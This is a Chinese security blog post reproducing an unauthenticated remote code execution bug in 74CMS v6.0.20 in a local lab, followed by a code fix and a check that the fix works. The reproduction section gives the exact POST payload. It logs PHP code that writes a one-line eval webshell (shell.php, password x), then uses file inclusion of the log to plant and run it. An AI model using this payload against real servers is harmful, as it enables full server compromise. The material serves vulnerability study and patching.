✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
01 漏洞描述
参考资料:
https://xz.aliyun.com/t/8021
由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。
下载地址:
http://www.74cms.com/download/index.html
注意:
本文复现版本:
74cms_Home_Setup_v6.0.20.zip
02 环境搭建
phpstudy2018
74cms_Home_Setup_v6.0.20.zip
注意:
php版本为5.x,暂不支持php7
具体的搭建流程可以参考互联网,因为很简单。
03 复现流程
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl
C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
此时去看日志信息,一句话菜刀已经记录在日志里
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log
在根目录下写入shell.php文件,内容为一句话木马,包含成功
在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x
http://10.211.55.9/74cms/shell.php
执行任意命令,发现执行成功
04 漏洞修复
/Application/Common/Controller/BaseController.class.php
未修改前:
public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {
$this->assign($key,$value);
}
return $this->fetch($tpl);
加入下面这行代码:
$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {
$this->assign($key,$value);
} // fix 20210203
$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}
return $this->fetch($tpl);
}
/ThinkPHP/Library/Think/View.class.php
View.class.php文件中106行fetch方法中修改
// 将110行
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
// 代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
05 修复验证
写入失败,漏洞修复成功
06 小插曲